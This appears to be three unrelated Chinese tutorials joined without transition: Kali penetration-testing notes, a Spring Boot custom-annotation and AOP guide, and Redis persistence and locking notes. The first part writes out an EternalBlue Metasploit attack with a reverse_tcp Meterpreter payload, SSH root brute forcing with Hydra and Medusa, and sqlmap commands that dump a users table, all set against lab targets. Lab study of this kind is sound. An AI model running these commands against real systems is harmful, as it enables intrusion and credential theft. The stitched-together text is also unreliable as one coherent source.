体验Kali渗透工具 msfconsole msfconsole:启动metasploit命令行。[命令行效率高，使用方便] msf使用法则:使用模块->配置模块必选项->运行模块三步操作，就能实现对主流漏洞的攻击 metasploit 永恒之蓝是指2017年4月14日晚，黑客团体ShadowBrokers(影子经纪人)公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 metasploit攻击全流程 1．使用模块 use exploit/windows/smb/ms17_010_eternalblue 2．设置必选项 查看必选项[*required为yes的就是必选项]show options set RHOSTS 192.168.1.128 [*RHOSTS为target host(s)代表你要攻击谁] set payload windows/x64/meterpreter/reverse_tcp [payload是攻击载荷，就是攻击完成后想干啥，这里是想获取meterpreter][meterpreter是metasploit后渗透的神器] set LHOST 192.188.1.136 [LHOSTS为listen host 代表你是谁，既Kali的IP地址] set LPORT 12345 [LPORT为listen port，代表你要在kali上开启的端口，1-65535随便选，但不能被占用 网络安全之渗透测试 搭建渗透测试攻击环境 Vmware workstation pro 功能强大的桌面虚拟计算机软件，能够让用户在单一主机同时运行多个不同的操作系统。同时支持实时快照，虚拟网络，拖拽文件等强悍功能。 为什么不选择物理机安装?物理机不方便，妨碍正常电脑功能虚拟机不会有太大的性能折损虚拟机安全、方便、易恢复、易迁移、易拓展硬件 docker快速搭建漏洞靶场指南 docker搭建DVWA kali 安装 docker : sudo apt install -y docker.io apt是debian系统的软件包管理器(kali和ubuntu其实也是debian的分支) 使用示例: apt install firefox (安装火狐浏览器 apt removefirefox (卸载火狐浏览器 apt upgrade firefox (升级火狐浏览器 遇到问题 ┌──(root㉿kali)-[~] └─# apt install -y docker.io Reading package lists... Done Building dependency tree... Done Reading state information... Done E: Unable to locate package docker.io E: Couldn't find any package by glob 'docker.io' 解决：sudo apt-get update 为kali配置阿里云加速器 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://i9phuco1.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker docker基础使用 启动docker服务 systemctl start docker 列出镜像 docker images 列出容器 docker ps -a / docker container Is -a o 删除镜像docker rmi [image_id] 删除容器docker rm [container idl docker搭建DVWA 访问dockerhub的dwa镜像 下载镜像 docker pull vulnerables/web-dvw 通过镜像启动容器docker run --rm -it -p 80:80 vulnerables/web-dvwa 将容器里的80端口映射到Kali的80端口 (网站服务) 关闭容器 docker stop [container id] 开启容器 docker start [container id] vulhub搭建漏洞复现 docker-compose: docker-compose是什么?Docker Compose是一个用来定义和运行复杂应用的Docker工具。一个使用Docker容器的应用，通常由多个容器组成。使用Docker Compose不再需要使用shell脚本来启动容器。 1.安装pip curl-s https://bootstrap.pypa.io/get-pip.py l python3 2.安装docker-compose pip3 install docker-compose vulhub搭建漏洞复现 vulhub : https://vulhub.org/ 开启靶场容器docker-compose up -d 关闭靶场容器docker-composedown 启动靶场环境 docker-compose up -d 网络空间测绘 钟馗之眼 https://www.zoomeye.org/ Shodan Shodan Search Engine FOFA FOFA网络空间测绘系统 Quake Hunter 鹰图 鹰图平台 (qianxin.com) Peiqi文库 PeiQi文库 (amobaishi.com) 端口扫描 常用端口 怎么去对一个ip做端口扫描？ nmap 全面扫描/综合扫描 nmap -A xxx.xx.xx.xx Ping 扫描 nmap -sP xx.xx.xx.xx/24 免ping扫描。穿透防火墙，避免被防火墙发现 nmap -P0 xx.xx.xx.xx TCP SYN Ping 扫描 nmap -PS -v xx.xx.xx.xx TCP SYN 扫描（高效的扫描方式） nmap -sS -v xx.xx.xx.xx 时序扫描 nmap -T(0-5) xx.xx.xx.xx 常用扫描方式 nmap -p 80 xx.xx.xx.xx nmap-p 80-100 xx.xx.xx.xx nmap -p T:80,U:445 xx.xx.xx.xx nmap -F xx.xx.xx.xx(快速扫描) nmap --top-ports 100 xx.xx.xx.xx (扫描最有用的前100个端口) 版本探测 nmap -sV xx.xx.xx.xx nmap -sV-A xx.xx.xx.xx 全端口版本探测 nmap -sV --allports xx.xx.xx.xx 设置扫描强度 nmap -sV --version-intensity (O-9)xx.xx.xx.xx ............................... 子域名爆破 顶级域名 .com(商业公司) .net(网络服务) .org(组织协会等) .CN代表中国 .gov.cn(政府部门) .UK代表英国 .edu(教育机构) .US代表美国 .mil(军事领域) .int(国际组织) DNSdumpster.com - dns recon and research, find and lookup dns records 在线子域名爆破 (zcjun.com) 目录扫描 常见的敏感文件 网站的备份文件/数据库备份文件wwwroot.zip后台登录的目录manage login 安装包(源码) 上传的目录uploads mysql的管理界面phpmyadmin程序的安装路径install 文件扫描思路 原理:拼接子目录访问，分析HTTP响应 方法:字典、暴力破解、爬虫 工具 Burp Suite dirb（kali自带） 御剑 dirbuster 。。。 CMS系统指纹识别 常见CMS (Content Management System) 企业建站系统: Metlnfo(米拓)、蝉知、SiteServer CMS等;B2C商城系统:商派Shopex、ECshop、HiShop、XpShop等; 门户建站系统:DedeCMS(织梦)、帝国CMS、PHPCMS、动易、CmsTop等;博客系统:WordPress、Z-Blog等; 论坛社区:Discuz、PHPwind、 WeCenter等;问答系统:Tipask、whatsns等; 知识百科系统:HDwiki; B2B门户系统:Destoon、B2Bbuilder、友邻B2B等; 人才招聘网站系统:骑士CMS、PHP云人才管理系统; 房产网站系统:FangCms等; 在线教育建站系统:Kesion、EduSoho; 电影网站系统:苹果CMS、ctcms、movcms等;小说文学建站系统:杰奇CMS; 指纹识别工具： whatweb（kali） CMSeeK Wappalyzer 在线网站 御剑指纹扫描器 Test404轻量CMS指纹识别 whatweb: cmseek 资产收集综合工具 ARL灯塔 yakit goby 漏洞数据库 CVE (Common Vulnerabilities & Exposures ) https://cve.mitre.org/ https://www.cvedetails.com/ https://www.cnvd.org.cn/ https://nox.qianxin.com/vulnerability 漏洞利用工具 POC: Proof Of Concept EXP: Exploit 利用 Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com) metasploit>searchsploit 漏洞匹配 wordpress漏洞 kali自带脚本 商业漏洞扫描工具 Appscan Nessus OpenVAS ... 深信服TSS安全评估工具 绿盟绿盟WEB应用漏洞扫描系统(wVSS)绿盟远程安全评估系统(RSAS) 启明天镜脆弱性扫描与管理系统 安恒Web应用弱点扫描器(MatriXay明鉴远程安全评估系统) 奇安信网神SecVSS3600漏洞扫描系统 盛邦安全Web漏洞扫描系统（RaywVS)远程安全评估系统（RayVAS) 斗象科技ARS 智能漏洞与风险检测 长亭科技洞鉴(X-Ray)安全评估系统 四叶草安全全时风险感知平台 暴力破解 Burp Suite 爆破Web密码 通过抓取登录请求 右键点击send intruder 进入 进行爆破 找到密码为password Hydra爆破linux密码 爆破root账号举例 hydra -L username.txt -P password.txt 192.168.xx.xx ssh medusa -M ssh -h 192.168.xx.xx -u root -P password.txt msfconsole use auxiliary/scanner/ssh/ssh_loginset RHOSTS xx.xx.xx.xx set PASS_FILE password.txt set USER_FILE username.txt exploit 爆破成功 SqlMap渗透数据库 sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1"--dbs sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" --tables sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --level=5 --risk= 3 --dbms=mysql -D "security" -T "users" --columns sqlmap -u "http://localhost/sqli-labs/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users"-C "password,username"--dump 应急响应中心
注解的概念 在Spring Boot中，注解是一种用于提供元数据的特殊标记。它们可以应用于类、方法、字段或参数上，用于配置应用程序的行为或告诉Spring框架如何处理特定的组件。 Spring Boot提供了许多注解，用于简化配置和自动化常见任务。以下是一些常用的Spring Boot注解及其概念： @SpringBootApplication：这是一个组合注解，用于标记主应用程序类。它包含了@Configuration、@EnableAutoConfiguration和@ComponentScan注解，用于启用自动配置和组件扫描。 @RestController：用于标记一个类，表示它是一个RESTful风格的控制器。它结合了@Controller和@ResponseBody注解，简化了编写RESTful API的过程。 @RequestMapping：用于映射HTTP请求到控制器的处理方法。可以用于类级别和方法级别，用于指定请求的URL路径和HTTP方法。 @Autowired：用于自动装配依赖。当Spring容器中存在匹配类型的bean时，它会自动将其注入到标记了@Autowired的字段、构造函数或方法参数中。 @Component：用于标记一个类为Spring组件。Spring会自动扫描并将其实例化为bean，可以通过@Autowired进行依赖注入。 @Configuration：用于标记一个类为配置类。配置类通常包含用于配置bean的方法，这些方法使用@Bean注解进行标记。 @EnableAutoConfiguration：用于启用Spring Boot的自动配置机制。它会根据项目的依赖和配置，自动配置Spring应用程序的各种组件。 这只是一小部分Spring Boot注解的概念，Spring Boot提供了更多的注解用于不同的场景和需求。通过使用这些注解，可以简化配置和开发过程，提高开发效率。相当于一个说明文件，告诉应用程序某个被注解的类或属性是什么，要怎么处理。注解对于它所修饰的代码并没有直接的影响。 注解的使用范围 1）为编译器提供信息：注解能被编译器检测到错误或抑制警告。 2）编译时和部署时的处理： 软件工具能处理注解信息从而生成代码，XML文件等等。 3）运行时的处理：有些注解在运行时能被检测到。 自定义注解的步骤 第一步：定义注解 第二步：配置注解 第三步：解析注解 注解的基本语法 最基本的注解定义 public @interface MyAnnotation { public String name(); int age(); String sex() default "女"; } 在自定义注解中，其实现部分只能定义注解类型元素! 说明： 访问修饰符必须为public，不写默认为public； 该元素的类型只能是基本数据类型、String、Class、枚举类型、注解类型以及一维数组； 该元素的名称一般定义为名词，如果注解中只有一个元素，名字起为value最好； ()不是定义方法参数的地方，也不能在括号中定义任何参数，仅仅只是一个特殊的语法； default`代表默认值，值必须定义的类型一致； 如果没有默认值，代表后续使用注解时必须给该类型元素赋值。 常用的元注解 元注解：专门修饰注解的注解。 @Target @Target是专门用来限定某个自定义注解能够被应用在哪些Java元素上面的。其注解的源码如下 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { /** * Returns an array of the kinds of elements an annotation type * can be applied to. * @return an array of the kinds of elements an annotation type * can be applied to */ ElementType[] value(); } 从源码可以看出它使用一个枚举类型元素，接下来看这个枚举类型的源码 public enum ElementType { /** Class, interface (including annotation type), or enum declaration（类、接口(包括注释类型)或枚举声明） */ TYPE, /** Field declaration (includes enum constants) （字段声明(包括枚举常量)）*/ FIELD, /** Method declaration（方法声明） */ METHOD, /** Formal parameter declaration（形式参数声明） */ PARAMETER, /** Constructor declaration（构造函数声明） */ CONSTRUCTOR, /** Local variable declaration（局部变量声明） */ LOCAL_VARIABLE, /** Annotation type declaration（注释类型声明） */ ANNOTATION_TYPE, /** Package declaration */ PACKAGE, /** * Type parameter declaration * * @since 1.8 */ TYPE_PARAMETER, /** * Use of a type * * @since 1.8 */ TYPE_USE } 因此，我们可以在使用@Target时指定注解的使用范围，示例如下： //@MyAnnotation被限定只能使用在类、接口或方法上面 @Target(value = {ElementType.METHOD,ElementType.TYPE}) public @interface MyAnnotation { public String name(); int age(); String sex() default "女"; } @Retention @Retention注解，用来修饰自定义注解的生命力。 a.如果一个注解被定义为RetentionPolicy.SOURCE，则它将被限定在Java源文件中，那么这个注解即不会参与编译也不会在运行期起任何作用，这个注解就和一个注释是一样的效果，只能被阅读Java文件的人看到； b.如果一个注解被定义为RetentionPolicy.CLASS，则它将被编译到Class文件中，那么编译器可以在编译时根据注解做一些处理动作，但是运行时JVM（Java虚拟机）会忽略它，我们在运行期也不能读取到，是默认的； c.如果一个注解被定义为RetentionPolicy.RUNTIME，那么这个注解可以在运行期的加载阶段被加载到Class对象中。那么在程序运行阶段，我们可以通过反射得到这个注解，并通过判断是否有这个注解或这个注解中属性的值，从而执行不同的程序代码段。我们实际开发中的自定义注解几乎都是使用的RetentionPolicy.RUNTIME。 @Retention注解源码如下： @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Retention { /** * Returns the retention policy. * @return the retention policy */ RetentionPolicy value(); } 里面也是一个枚举类型元素，其源码如下 public enum RetentionPolicy { /** * Annotations are to be discarded by the compiler. */ SOURCE, /** * Annotations are to be recorded in the class file by the compiler * but need not be retained by the VM at run time. This is the default * behavior. */ CLASS, /** * Annotations are to be recorded in the class file by the compiler and * retained by the VM at run time, so they may be read reflectively. * * @see java.lang.reflect.AnnotatedElement */ RUNTIME } 使用此注解修饰自定义注解生命力的示例如下： //设置注解的生命力在运行期 @Retention(RetentionPolicy.RUNTIME) public @interface MyAnnotation { public String name(); int age(); String sex() default "女"; } @Documented @Documented注解，是被用来指定自定义注解是否能随着被定义的java文件生成到JavaDoc文档当中。源码如下： @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Documented { } @Inherited @Inherited注解，是指定某个自定义注解如果写在了父类的声明部分，那么子类（继承关系）的声明部分也能自动拥有该注解。该注解只对@Target被定义为ElementType.TYPE的自定义注解起作用。下面对其进行详细说明： 1）打开其源码，可以看到 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Inherited { } （1）该注解作用于整个程序运行中（@Retention(RetentionPolicy.RUNTIME）； （2）该注解只能修饰注解（@Target({ElementType.ANNOTATION_TYPE})），它是一个元注解。 此注解的中文翻译是继承的意思，那么究竟是什么意思呢？通过示例进行演示 第一：先定义两个注解@HasInherited 和 @NoInherited，前者注解包含@Inherited 注解，后者反之 也就是说，被 @Inherited 注解修饰的注解，如果作用于某个类上，其子类是可以继承的该注解的。否则，若一个注解没有被 @Inherited注解所修饰，那么其作用范围只能是当前类，其子类是不能被继承的。 自定义注解举例 创建注解 import java.lang.annotation.Documented; import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target; import com.aidex.common.enums.BusinessType; import com.aidex.common.enums.OperatorType; /** * 自定义操作日志记录注解 * * @author wcy * */ @Target({ ElementType.PARAMETER, ElementType.METHOD }) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface Log { /** * 模块 */ public String title() default ""; /** * 功能 */ public BusinessType businessType() default BusinessType.OTHER; /** * 操作人类别 */ public OperatorType operatorType() default OperatorType.MANAGE; /** * 是否保存请求的参数 */ public boolean isSaveRequestData() default true; /** * 是否保存响应的参数 */ public boolean isSaveResponseData() default true; } 创建aop切面 @Aspect @Component public class LogAspect { private static final Logger LOG = LoggerFactory.getLogger(LogAspect.class); private static final String LOG_IGNORE_PROPERTIES = "createBy,createDate,updateBy,updateDate,version,updateIp,delFlag,remoteAddr,requestUri,method,userAgent"; /** 排除敏感属性字段 */ public static final String[] EXCLUDE_PROPERTIES = { "password", "oldPassword", "newPassword", "confirmPassword" }; // 配置织入点 @Pointcut("@annotation(com.aidex.common.annotation.Log)") public void logPointCut() { } @Around("@annotation(com.aidex.common.annotation.Log)") public Object loggingAround(ProceedingJoinPoint joinPoint) throws Throwable { long startTime = System.currentTimeMillis(); // 定义返回对象、得到方法需要的参数 Object resultData = null; Object[] args = joinPoint.getArgs(); long takeUpTime = 0; resultData = joinPoint.proceed(args); long endTime = System.currentTimeMillis(); takeUpTime = endTime - startTime; handleLog(joinPoint, null, resultData, takeUpTime); return resultData; } /** * 拦截异常操作 * * @param joinPoint 切点 * @param e 异常 */ @AfterThrowing(value = "logPointCut()", throwing = "e") public void doAfterThrowing(JoinPoint joinPoint, Exception e) { handleLog(joinPoint, e, null, 0); } protected void handleLog(final JoinPoint joinPoint, final Exception e, Object jsonResult, long takeUpTime) { try { // 获得注解 Log controllerLog = getAnnotationLog(joinPoint); if (controllerLog == null) { return; } // 获取当前的用户 LoginUser loginUser = SpringUtils.getBean(TokenService.class).getLoginUser(ServletUtils.getRequest()); // *========数据库日志=========*// SysOperLog operLog = new SysOperLog(); operLog.setStatus(BusinessStatus.SUCCESS.ordinal()); // 请求的地址 String ip = IpUtils.getIpAddr(ServletUtils.getRequest()); operLog.setOperIp(ip); operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255)); if (loginUser != null) { operLog.setOperName(loginUser.getUsername()); } if (e != null) { operLog.setStatus(BusinessStatus.FAIL.ordinal()); operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000)); } // 设置方法名称 String className = joinPoint.getTarget().getClass().getName(); String methodName = joinPoint.getSignature().getName(); operLog.setMethod(className + "." + methodName + "()"); // 设置请求方式 operLog.setRequestMethod(ServletUtils.getRequest().getMethod()); // 处理设置注解上的参数 getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult); operLog.setTakeUpTime(takeUpTime); //设置数据变更 setLogContent(operLog); // 保存数据库 AsyncManager.me().execute(AsyncFactory.recordOper(operLog)); } catch (Exception exp) { // 记录本地异常日志 LOG.error("异常信息:{}", exp.getMessage()); exp.printStackTrace(); } } private void setLogContent(SysOperLog operLog) { if (ContextHandler.get(BaseEntity.LOG_TYPE) != null) { String logType = (String) ContextHandler.get(BaseEntity.LOG_TYPE); if (StringUtils.isNotBlank(logType)) { if ("insert".equals(logType)) { // 异步保存日志 } else if ("update".equals(logType)) { } else if ("delete".equals(logType)) { } } } } /** * 获取注解中对方法的描述信息 用于Controller层注解 * * @param log 日志 * @param operLog 操作日志 * @throws Exception */ public void getControllerMethodDescription(JoinPoint joinPoint, Log log, SysOperLog operLog, Object jsonResult) throws Exception { // 设置action动作 operLog.setBusinessType(log.businessType().ordinal()); // 设置标题 operLog.setTitle(log.title()); // 设置操作人类别 operLog.setOperatorType(log.operatorType().ordinal()); // 是否需要保存request，参数和值 if (log.isSaveRequestData()) { // 获取参数的信息，传入到数据库中。 setRequestValue(joinPoint, operLog); } // 是否需要保存response，参数和值 if (log.isSaveResponseData() && StringUtils.isNotNull(jsonResult)) { operLog.setJsonResult(StringUtils.substring(JSON.toJSONString(jsonResult), 0, 2000)); } } /** * 获取请求的参数，放到log中 * * @param operLog 操作日志 * @throws Exception 异常 */ private void setRequestValue(JoinPoint joinPoint, SysOperLog operLog) throws Exception { String requestMethod = operLog.getRequestMethod(); if (HttpMethod.PUT.name().equals(requestMethod) || HttpMethod.POST.name().equals(requestMethod)) { String params = argsArrayToString(joinPoint.getArgs()); operLog.setOperParam(StringUtils.substring(params, 0, 2000)); } else { Map<?, ?> paramsMap = ServletUtils.getParamMap(ServletUtils.getRequest()); operLog.setOperParam(StringUtils.substring(JSON.toJSONString(paramsMap, excludePropertyPreFilter()), 0, 2000)); } } /** * 是否存在注解，如果存在就获取 */ private Log getAnnotationLog(JoinPoint joinPoint) throws Exception { Signature signature = joinPoint.getSignature(); MethodSignature methodSignature = (MethodSignature) signature; Method method = methodSignature.getMethod(); if (method != null) { return method.getAnnotation(Log.class); } return null; } /** * 参数拼装 */ private String argsArrayToString(Object[] paramsArray) { String params = ""; if (paramsArray != null && paramsArray.length > 0) { for (Object o : paramsArray) { if (StringUtils.isNotNull(o) && !isFilterObject(o)) { try { String jsonObj = JSON.toJSONString(o, excludePropertyPreFilter()); params += jsonObj.toString() + " "; } catch (Exception e) { } } } } return params.trim(); } /** * 忽略敏感属性 */ public PropertyPreExcludeFilter excludePropertyPreFilter() { return new PropertyPreExcludeFilter().addExcludes(EXCLUDE_PROPERTIES); } /** * 判断是否需要过滤的对象。 * * @param o 对象信息。 * @return 如果是需要过滤的对象，则返回true；否则返回false。 */ @SuppressWarnings("rawtypes") public boolean isFilterObject(final Object o) { Class<?> clazz = o.getClass(); if (clazz.isArray()) { return clazz.getComponentType().isAssignableFrom(MultipartFile.class); } else if (Collection.class.isAssignableFrom(clazz)) { Collection collection = (Collection) o; for (Object value : collection) { return value instanceof MultipartFile; } } else if (Map.class.isAssignableFrom(clazz)) { Map map = (Map) o; for (Object value : map.entrySet()) { Map.Entry entry = (Map.Entry) value; return entry.getValue() instanceof MultipartFile; } } return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse || o instanceof BindingResult; } } 结合SpEl实现注解动态参数传值 在自定义注解后，使用注解时其参数必须是固定不变的。那么能不能实现动态传参呢？答案是肯定的。 这时便可以结合SpEL表达式+注解方式实现。简单来说，就是在查阅文档时，需要传入用户的编号，把用户编号作为权限注解的参数，在切面中去获取用户编号去验证此用户是否有查阅权限，如果有则放行，反之则抛出异常，进行全局异常捕获后指定返回的信息。相比于拦截器，个人更推荐这种方式。具体实现如下： 自定义注解 /** * 资源访问权限注解 */ @Inherited @Target(ElementType.METHOD) @Retention(RetentionPolicy.RUNTIME) public @interface ResourceAccessPermission { /** * 用户编号，可支持SpEL表达式 * * @return */ String value(); } 创建SpEL表达式解析器 /** * SpEL表达式解析器，根据传入的类型进行解析 * * @param <T> */ public class ExpressionEvaluator<T> extends CachedExpressionEvaluator { private final ParameterNameDiscoverer paramNameDiscoverer = new DefaultParameterNameDiscoverer(); private final Map<ExpressionKey, Expression> conditionCache = new ConcurrentHashMap<>(64); private final Map<AnnotatedElementKey, Method> targetMethodCache = new ConcurrentHashMap<>(64); /** * 创建表达式上下文 * * @param object * @param targetClass * @param method * @param args * @return */ public EvaluationContext createEvaluationContext(Object object, Class<?> targetClass, Method method, Object[] args) { Method targetMethod = getTargetMethod(targetClass, method); ExpressionRootObject root = new ExpressionRootObject(object, args); return new MethodBasedEvaluationContext(root, targetMethod, args, this.paramNameDiscoverer); } /** * 获取目标对象的方法 * * @param targetClass * @param method * @return */ private Method getTargetMethod(Class<?> targetClass, Method method) { AnnotatedElementKey methodKey = new AnnotatedElementKey(method, targetClass); Method targetMethod = this.targetMethodCache.get(methodKey); if (targetMethod == null) { targetMethod = AopUtils.getMostSpecificMethod(method, targetClass); this.targetMethodCache.put(methodKey, targetMethod); } return targetMethod; } /** * 根据条件表达式获SpEL取值 * * @param conditionExpression * @param elementKey * @param evalContext * @param clazz * @return */ public T getValueByConditionExpression(String conditionExpression, AnnotatedElementKey elementKey, EvaluationContext evalContext, Class<T> clazz) { return getExpression(this.conditionCache, elementKey, conditionExpression).getValue(evalContext, clazz); } } @Getter @ToString @AllArgsConstructor class ExpressionRootObject { private final Object object; private final Object[] args; } 配置切面，进行权限认证 /** * 资源访问权限切面处理 */ @Component @Aspect @Slf4j public class ResourceAccessPermissionAspect { private ExpressionEvaluator<String> evaluator = new ExpressionEvaluator<>(); @Pointcut("@annotation(com.zxh.test.annotation.ResourceAccessPermission)") private void pointCut() { } @Before("pointCut()") public void doPermission(JoinPoint joinPoint) { MethodSignature methodSignature = (MethodSignature) joinPoint.getSignature(); Method method = methodSignature.getMethod(); Object[] args = joinPoint.getArgs(); ResourceAccessPermission permission = method.getAnnotation(ResourceAccessPermission.class); if (args == null) { return; } // 读取参数，如果以#开头则按照EL处理，否则按照普通字符串处理 String userNo = permission.value(); if (StrUtil.startWith(userNo, "#")) { Object pointTarget = joinPoint.getTarget(); Class<?> aClass = pointTarget.getClass(); // SpEL表达式的方式读取对应参数值 EvaluationContext evaluationContext = evaluator.createEvaluationContext(pointTarget, aClass, method, args); AnnotatedElementKey methodKey = new AnnotatedElementKey(method, aClass); //根据条件读取注解中的参数值 userNo = evaluator.getValueByConditionExpression(userNo, methodKey, evaluationContext, String.class); } log.info("参数：{}", userNo); // TODO 按照业务自定义逻辑处理 /** * 这里为了演示，假设用户编号不等于3时显示无权限，实际需要去查询用户与权限分配表 * 不符合要求的就抛出指定的异常，再捕获全局异常返回相应提示信息即可 */ if (!userNo.equals("3")) { throw new RuntimeException("无权访问"); } } } 接口调用 /** * 这里将查询条件中的用户编号作为参数传入注解 * * @param queryBody * @return */@PostMapping("/read") @ResourceAccessPermission("#queryBody.userNo") public String read(@RequestBody QueryBody queryBody) { return "查询成功"; }
[scode type="green"]Redis由浅入深 (yuque.com)[/scode] RDB与AOF的区别 RDB属于全量同步 (定时同步) 优点：同步效率高 缺点：数据可能会丢失 AOF属于增量同步有点偏向实时 优点：同步效率比较低，最多会丢失一秒钟的数据 平衡点：既然要效率高，数据不丢失肯定使用aof的everysec 如果aof与rdb都开优先使用aof AOF 在Redis的配置文件中存在三种同步方式 appendfsync always 每次有数据修改发生时都会写入AOF文件，能够保证数据不丢失，但是效率非常低。. appendfsync everysec 每秒钟同步一次，可能会丢失1s内的数据，但是效率非常高。 appendfsync no 从不同步。高效但是数据不会被持久化。. 直接修改redis.conf 中 appendonly yes. 建议最好还是使用everysec 既能够保证数据的同步、效率也还可以。 RDB Redis默认采用rdb方式实现数据的持久化，以快照的形式将数据持久化到磁盘的是一个二进制的文件dump.rdb， 在redis.conf文件中搜索"dump.rdb"。 Redis会将数据集的快照dump到dump.rdb文件中。此外，我们也可以通过配置文件来修改Redis服务器dump快照的频率，在打开 6379.conf文件之后，我们搜索save，可以看到下面的配置信息： save 900 1 在900秒(15分钟)之后，如果至少有1个key发生变化，则dump内存快照。 save 300 10 在300秒(5分钟)之后，如果至少有10个key发生变化，则dump内存快照。 save 60 10000 在60秒(1分钟)之后，如果至少有10000个key发生变化，则dump内存快照。 核心六大淘汰策略 Redis数据存放在内存里面有可能会防止内存撑爆有会淘汰策略。`` 内存的淘汰策略:在Redis服务器上设置存放缓存的阈值（100mb 1g). 将 Redis用作缓存时，如果内存空间用满，就会自动驱逐老的数据。 noeviction:当内存使用达到阈值的时候，所有引起申请内存的命令会报错。 allkeys-lru:在主键空间中，优先移除最近未使用的key。(推荐)。 volatile-Iru:在设置了过期时间的键空间中，优先移除最近未使用的 key。 allkeys-random:在主键空间中，随机移除某个key。 volatile-random:在设置了过期时间的链空间中，随机移除某个 key。 volatile-ttl:在设置了过期时间的键空间中，具有更早过期时间的key优先移除。 如何配置Redis淘汰策略 在redis.conf 文件中 # maxmemory <bytes> 设置Redis内存大小的限制，我们可以设置当数据达到限定大小后，会选择配置的淘汰策略淘汰数据 比如：maxmemory 256MB 通过配置 maxmemory-policy noeviction 设置redis的淘汰策略。 比如：maxmemory-policy volatile-lru Redis 中的自动过期机制 实现需求:处理订单过期白动取消，比如下单30分钟未支付自动更改订单状态 采用定时任务，30min后去检查该笔订单是否以及支付 根据key的有效期进行回调 原理： 创建订单的时候绑定一个token存放在redis（有效期只有30min）key=token value=订单id 对该key绑定过期事件的回调，执行我们的回调方法传递 使用Redis Key自动过期机制 当我们的 key 失效时，可以执行我们的客户端回调监听的方法。 需要在 Redis_中配置: notify-keyspace-events "Ex" SpringBoot整合key失效监听 @Configuration public class RedisListenerConfig { @Bean RedisMessageListenerContainer container(RedisConnectionFactory connectionFactory) { RedisMessageListenerContainer container = new RedisMessageListenerContainer(); container.setConnectionFactory(connectionFactory); return container; } } @Component public class RedisKeyExpirationListener extends KeyExpirationEventMessageListener { public RedisKeyExpirationListener(RedisMessageListenerContainer listenerContainer) { super(listenerContainer); } /** * 待支付 */ private static final Integer ORDER_STAYPAY = 0; /** * 失效 */ private static final Integer ORDER_INVALID = 2; @Autowired private OrderMapper orderMapper; /** * Redis失效事件 key * * @param message * @param pattern */ @Override public void onMessage(Message message, byte[] pattern) { String expiraKey = message.toString(); // 根据key查询 value 如果还还是为待支付状态 将订单改为已经超时~~ OrderEntity orderNumber = orderMapper.getOrderNumber(expiraKey); System.out.println(expiraKey); if (orderNumber == null) { return; } if (orderNumber.getOrderStatus().equals(ORDER_STAYPAY)) { // 将订单状态改为已经失效 orderMapper.updateOrderStatus(expiraKey, ORDER_INVALID); } } } @RequestMapping("/saveOrder") public String saveOrder() { // 1.生成token String orderToken = UUID.randomUUID().toString(); String orderId = System.currentTimeMillis() + ""; //2. 将该token存放到redis中 redisUtils.setString(orderToken, orderId, 5L); OrderEntity orderEntity = new OrderEntity(null, "xxx", orderId, orderToken); int result = orderMapper.insertOrder(orderEntity); return result > 0 ? "success" : "fail"; } Redis事务操作 Multi 开启事务 EXEC提交事务 Watch可以监听一个或者多个key，在提交事务之前是否有发生了变化如果发生边了变化就不会提交事务，没有发生变化才可以提交事务。 Discard 取消提交事务 注意: Redis_官方是没有提供回滚方法,值提供了取消事务。 取消事务和回滚事务有什么区别？ Mysql中开启了支付对行数据上锁 Commit数据可以提交. 回滚:对事务和行锁都会撤销 Redis没有回滚，单纯取消事务（不提交事务）不上锁。 基于Redis实现分布式锁 什么是分布式锁？ 在传统单机部署的情况下，可以使用Java并发处理相关的API(如ReentrantLcok或synchronized)进行互斥控制。 但是在分布式系统后，由于分布式系统多线程、多进程并且分布在不同机器上，这将使原单机并发控制锁策略失效，为了解决这个问题就需要一种跨JVM的互斥机制来控制共享资源的访问，这就是分布式锁的由来。 如果我们服务器是集群的时候，定时任务可能会重复执行可以采用分布式锁解决。 当多个进程不在同一个系统中，就需要用分布式锁控制多个进程对资源的访问。 分布式锁的特点 首先，为了确保分布式锁可用，我们至少要确保锁的实现同时满足以下四个条件： 1、互斥性：任意时刻，只能有一个客户端获取锁，不能同时有两个客户端获取到锁。 2、安全性：锁只能被持有该锁的客户端删除，不能由其它客户端删除。 3、死锁：获取锁的客户端因为某些原因（如down机等）而未能释放锁，其它客户端再也无法获取到该锁。 4、容错：当部分节点（redis节点等）down机时，客户端仍然能够获取锁和释放锁。 分布式锁的具体实现 分布式锁一般有三种实现方式： 数据库乐观锁； 基于ZooKeeper的分布式锁; 3.基于Redis的分布式锁； 解决分布式锁核心思路 获取锁 多个不同的jvm同时创建一个标记使用setnx命令，因为Rediskey必须保证是唯一的，只要谁 能够创建成功就能够获取锁 Set命令的时候:如果key不存在则创建，如果不存在则修改 SetNx 命令：如果不存在则创建 返回1（integer），如果已经存在则不执行任何操作返回 0 1：不存在创建成功 0：已经存在，不执行任何操作。 释放锁 对我们的Redis的key设置一个有效期(或者是主动的删除该key)可以灵活的自动的释放该全局唯一的标记，其他的jvm重新进入到获取锁资源。 